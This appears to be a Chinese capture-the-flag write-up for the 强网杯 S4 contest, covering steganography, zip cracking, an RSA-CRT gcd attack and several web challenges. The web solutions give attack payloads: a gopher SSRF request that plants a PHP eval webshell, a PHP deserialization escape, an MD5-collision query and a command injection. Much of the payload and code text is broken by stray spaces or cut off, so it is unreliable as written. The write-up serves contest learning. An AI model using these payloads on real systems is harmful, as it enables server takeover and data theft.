强网杯 WRITEUP

  • A+
所属分类:安全文章

鸿鹄战队 WRITEUP

一、战队信息

   战队名称:鸿鹄

   战队排名:105

二、解题情况

强网杯 WRITEUP

强网杯 WRITEUP

0x01 签到

打开题目直接得到 flag

强网杯 WRITEUP

flag 值:flag{welcome_to_qwb_S4}


0x02 问卷调查

强网杯 WRITEUP

做完问卷得到 flag

强网杯 WRITEUP

flag{Welc0me_tO_qwbS4_Hope_you_play_h4ppily}


0x03 MISCSTUDY

强网杯 WRITEUP

Part1

流量审计

审计流量,我们发现有一个 GET 请求。

强网杯 WRITEUP

于是顺藤摸瓜,我们找到了第一关的口令,并拿到了 flag 的第一部分。

http://39.99.247.28/fonts/1

强网杯 WRITEUP

得到部分flag{level1_begin_and_level2_is_come

继续审计,我们发现可以用上一步得到的 sslkey.log 进行解码。

强网杯 WRITEUP

通过分析解码后的流量,我们发现了新的 GET 请求。

强网杯 WRITEUP

于是继续顺藤摸瓜,并拿到了一张图片。

https://www.qiangwangbei.com/images/4e5d47b2db53654959295bba216858932.png

强网杯 WRITEUP

自此,第一部分结束。

Part2

HEX 分析

得到图片后,我们第一时间查看了 HEX,发现第八至第十一个 IDAT 块异常。

强网杯 WRITEUP

从第十一个区块中,得到一串符合 Base64 加密规则的字符,通过解密得到了 flag 的第二部分。

Part3

强网杯 WRITEUP

level3_start_it

返回上一步,我们继续分析第八到第十个区块。使用 Excel 可以更好地比较数据间的规律和细节差异。

强网杯 WRITEUP

由于 4D 在不断重复,我们选择直接删除这一区块,这是我们发现剩余 HEX 数目为 3600 ——这恰好是 60 的平方——于是我们推测,接下来的过程与二维码相关。通过数据的清洗,我们得到了二维码并获得了通往下一关的口令:链接:https://pan.baidu.com/s/1wVJ7d0RLW8Rj-HOTL9Shug 提取码:

1lms 自此,HEX 文件分析告一段落。

图片隐写——Steghide 我们自上述链接中获得了 level4,经检测,我们发现该文件存在 Steghide 加工痕迹,因此我们使用 Stegbreak 进行了爆破,并得到密码 power123

强网杯 WRITEUP

经过解密,我们得到了 flag 的第三部分及通往下一关的口令:https://pan.baidu.com/s/1o43y4UGkm1eP-RViC25aOw     mrpt

强网杯 WRITEUP

level4_here_all

压缩包解密——CRC32 碰撞我们自上述链接中获得了 level5-7,并直接得到了 flag 的第三部分。

Part4

强网杯 WRITEUP

level5_is_aaa

level6 中存在三个文件,分别只有 545 字节,因此我们尝试对 CRC32 进行爆破,并最终得到这三个文件的内容:“level”、“6_is”、“ready”。

强网杯 WRITEUP

拼接后我们得到了 flag 的第五部分:

level6_isready

Part5 

压缩包解密——明文攻击

在之前的链接中,我们同时得到了一个“冗余文件”,经检查,我们认定此文件与 level7

中的文件为同一文件,因此我们使用了明文攻击。

强网杯 WRITEUP

Part6 

图片隐写——盲水印

解开的压缩包后,我们得到了两张看似一模一样的纯黑色图片,但是文件大小有轻微的差别。经过异或,我们发现有纵横纹路,于是认定为大概率为盲水印。

强网杯 WRITEUP

level7ishere

根据结果,我们得到了 flag 的第五部分及通网下一关的口令:http://39.99.247.28/final_level

Part7 

静态网页隐写

进入最后一关,发觉 MISC 竟然变成了 WEB,急忙向队友求助。众人集思广益,也没讨论出什么结果。

强网杯 WRITEUP

回溯之前的种种经历,突然发掘最后一关极有可能依然是隐写,所有的图片都经过了粗略的审计后,我们认定为本关就是传说中的 html 隐写。

强网杯 WRITEUP

通过代码审计,我们轻易地发现了一语双关的密码:no one can find me,并通过 snow 得到了最后一片 flag

强网杯 WRITEUP

the_misc_examaaaaaaa_!!!}

flag 值:

flag{level1_begin_and_level2_is_comelevel3_start_itlevel4_here_alllevel5_is_aaalevel6_isreadylevel7isherethe_misc_examaaaaaaa_!!!}


0x04 Funhash

操作过程:

第一关是 0exxx md4 之后 0exxx

0e251288019

0e874956163641961271069404332409

0e898201062

0e554290472281246806387669628377

第二关是原文不同,md5 相同

第三关是 md5 之后的值,16 进制解密之后是 'or'

Payload:

?hash1=0e251288019&hash2=%af%13%76%70%82%a0%a6%58%cb%3e%23%38%c4%c6%db%8b %60%2c%bb%90%68%a0%2d%e9%47%aa%78%49%6e%0a%c0%c0%31%d3%fb%cb%82%25%92 %0d%cf%61%67%64%e8%cd%7d%47%ba%0e%5d%1b%9c%1c%5c%cd%07%2d%f7%a8%2d%1d %bc%5e%2c%06%46%3a%0f%2d%4b%e9%20%1d%29%66%a4%e1%8b%7d%0c%f5%ef%97%b6 %ee%48%dd%0e%09%aa%e5%4d%6a%5d%6d%75%77%72%cf%47%16%a2%06%72%71%c9%a1 %8f%00%f6%9d%ee%54%27%71%be%c8%c3%8f%93%e3%52%73%73%53%a0%5f%69%ef%c3 %3b%ea%ee%70%71%ae%2a%21%c8%44%d7%22%87%9f%be%79%6d%c4%61%a4%08%57%02 %82%2a%ef%36%95%da%ee%13%bc%fb%7e%a3%59%45%ef%25%67%3c%e0%27%69%2b%95 %77%b8%cd%dc%4f%de%73%24%e8%ab%66%74%d2%8c%68%06%80%0c%dd%74%ae%31%05 %d1%15%7d%c4%5e%bc%0b%0f%21%23%a4%96%7c%17%12%d1%2b%b3%10%b7%37%60%6 8%d7%cb%35%5a%54%97%08%0d%54%78%49%d0%93%c3%b3%fd%1f%0b%35%11%9d%96% 1d%ba%64%e0%86%ad%ef%52%98%2d%84%12%77%bb%ab%e8%64%da%a3%65%55%5d%d5 %76%55%57%46%6c%89%c9%df%b2%3c%85%97%1e%f6%38%66%c9%17%22%e7%ea%c9%f5 %d2%e0%14%d8%35%4f%0a%5c%34%d3%73%a5%98%f7%66%72%aa%43%e3%bd%a2%cd%62 %fd%69%1d%34%30%57%52%ab%41%b1%91%65%f2%30%7f%cf%c6%a1%8c%fb%dc%c4%8f %61%a5%93%40%1a%13%d1%09%c5%e0%f7%87%5f%48%e7%d7%b3%62%04%a7%c4%cb%fd %f4%ff%cf%3b%74%28%1c%96%8e%09%73%3a%9b%a6%2f%ed%b7%99%d5%b9%05%39%95 %ab&hash3=%af%13%76%70%82%a0%a6%58%cb%3e%23%38%c4%c6%db%8b%60%2c%bb%90 %68%a0%2d%e9%47%aa%78%49%6e%0a%c0%c0%31%d3%fb%cb%82%25%92%0d%cf%61%67 %64%e8%cd%7d%47%ba%0e%5d%1b%9c%1c%5c%cd%07%2d%f7%a8%2d%1d%bc%5e%2c%06 %46%3a%0f%2d%4b%e9%20%1d%29%66%a4%e1%8b%7d%0c%f5%ef%97%b6%ee%48%dd%0e %09%aa%e5%4d%6a%5d%6d%75%77%72%cf%47%16%a2%06%72%71%c9%a1%8f%00%f6%9d %ee%54%27%71%be%c8%c3%8f%93%e3%52%73%73%53%a0%5f%69%ef%c3%3b%ea%ee%70 %71%ae%2a%21%c8%44%d7%22%87%9f%be%79%6d%c4%61%a4%08%57%02%82%2a%ef%36 %95%da%ee%13%bc%fb%7e%a3%59%45%ef%25%67%3c%e0%27%69%2b%95%77%b8%cd%dc %4f%de%73%24%e8%ab%66%74%d2%8c%68%06%80%0c%dd%74%ae%31%05%d1%15%7d%c 4%5e%bc%0b%0f%21%23%a4%96%7c%17%12%d1%2b%b3%10%b7%37%60%68%d7%cb%35% 5a%54%97%08%0d%54%78%4



强网杯 WRITEUP

Flag 值:

flag{y0u_w1ll_l1ke_h4sh}


0x05 half_infiltra

操作过程:

1.shell; Payload

http://39.98.131.124/ssrf.php?we_have_done_ssrf_here_could_you_help_to_continue_it=gopher://127. 0.0.1:40000/_POST%20%2f%253F%20HTTP%2f1.1%250d%250aHost%3A%20localhost%3A40000 %250d%250aCookie%3A%20PHPSESSID%3D icqf82ad306214dc6dccc53a55c5848d%3B%250d%250aConnection%3A%20close%250d%250aConte nt-Type%3A%20application%2fx-www-form-urlencoded%250d%250aContent-Length%3A%2095%2 50d%250a%250d%250afile%3Dphp%253A%252F%252Ffilter%252Fconvert.base64-decode%252Fre source%253Daaaa.php%26content%3DJTNDJTNGJTNEZXZhbCUyOCUyNF9QT1NUJTVCMCU1 RCUyOSUzQiUzRiUzRQ==


强网杯 WRITEUP

强网杯 WRITEUP

2. gopher 协议连;Flag 值:

flag{7815696ecbf1c96e6aa4b779456d3wee}

0x06 侧防

强网杯 WRITEUP

强网杯 WRITEUP

强网杯 WRITEUP

强网杯 WRITEUP

Flag值:

flag{QWB_water_problem_give_you_the_score}

0x07 upload

操作过程:下载后是个流量包打开发现存在图片导出

强网杯 WRITEUP

打开发现一张图片

强网杯 WRITEUP

这个地方改成 根据软件stegdetect 检测提示使用steghide软件分离出flag参考链接:

https://blog.csdn.net/weixin_43921596/article/details/86654754

密码为弱密码:123456 即可看到 flag

强网杯 WRITEUP

Flag 值:

flag{te11_me_y0u_like_it}


0x08 Web辅助

题目主要考察反序列化,和反序列化字符长度逃逸。

下载源代码然后开始审计发现class.php文件下的

强网杯 WRITEUP

触发KS方法,就可以执行 系统命令 cat /flag

代码审计发现逻辑如下new topsolo -->new midsolo-->new jungle

逻辑大概是将序列化的内容存储到caches里,然后再 play.php 里面 unseiliaze

需要对内容处理,造成反序列化的长度逃逸

构造payload如下

?username=************* *********&password=;"aaaaaaaaaaaaa aa";s:8:"*admin";O:7:"topsolo":2:{S:7:"0*06e616d65";O:7:"midsolo":1:{S:7:"0*06e616d65";O:6:"jungle":1:{S:7:"0*06e616d65";N;}}}


然后访问play.php 得到

flag:flag{6ac02a80-e94b-4b0c-ad7b-81c57a5c6e07}


0x09 baby_crt

强网杯 WRITEUP

根据题目给的

强网杯 WRITEUP

题目中给到的是 m、n、S,可以可穷举出c1的值,进而可以利用exp计算得到gcd解出本题

from random import randint from Crypto.Util.number import getPrime, long _to_bytes, getStrongPrime from hashlib import sha1 import libnum m = 262754933207060261441969663988861968338151704138077058052877634130131009628 317037746403327655038380874349048356579882760646603044278029616091859979646654 408674169007111285178592675046576271605987002486897380452431421114891796733758 193087795352472146606942116987994610443543522009503093923218610219209682003343 441318932598504682149012662080904692658097295142491439380435215796782347546700 970562815568618055680966574159748055782991964403627919074088889589170636688672 082573700993240848407424357859606818016251806113249489536576667421950514926106 13830629731633827861546693629268844700581558851830936504144170791124745540 n= 2631835838225821577082777076338460335952444456614613403927206520665713551349 689732198392065224218211247948413534343620681572260575655709824188723383724851 903187944474092278935135613832294710834683395640564757883887342565840551319243 747935953179069792428588950566676958017643136050622750606413203462112382809048 060605587742548073995080910904817797688482558902344490195352991358528814329154 418118381022755389197391596095152615446934458708329564003487687431861099115305 846281136961555547057146951747286546950202503054845129690985766766996372036629 0084062470583318590585472209798523021029182199921435625983186101089395997 S= 2015294136912288841413007500284576404691272747171683985467128025584579892873 810382459533988534540541994335421545659838122851913190269837322579533964930035 936311975460569832105233473147712743379696410763310960870603011119715670160737 908676694409606664932336797678638301510668189647944683541914322583232097853055 439985107418076230832209233972183956664214490886453046601761473167952539225979 651178962408022858708062145408495716919334372451586746817824240235674188489073 98732506589604384502871594394577301270745639915130300914567719068537810281598521 7466498315359846665211412644316716082898396009119848634426989676119219246 e = 65537 for c1 in range(1,65536): if libnum. gcd(pow(m, c1, n) -pow(S, e, n), n) ! = 1: print sha1(long _to_bytes(n / (libnum. gcd(pow(m, c1, n) -pow(S, e, n), n)))) .hexdigest()


flag 值:flag{601cb6f6d990ed5b89cf0de60508a95c07543793}

0x10 主动

强网杯 WRITEUP

一个非常签到的命令注入

view-source:http://39.96.23.228:10002/?ip=;cat%20`ls`

得到 flag

Flag 值:flag{7815696ecbf1c96e6aa4b779456d3wee}


发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: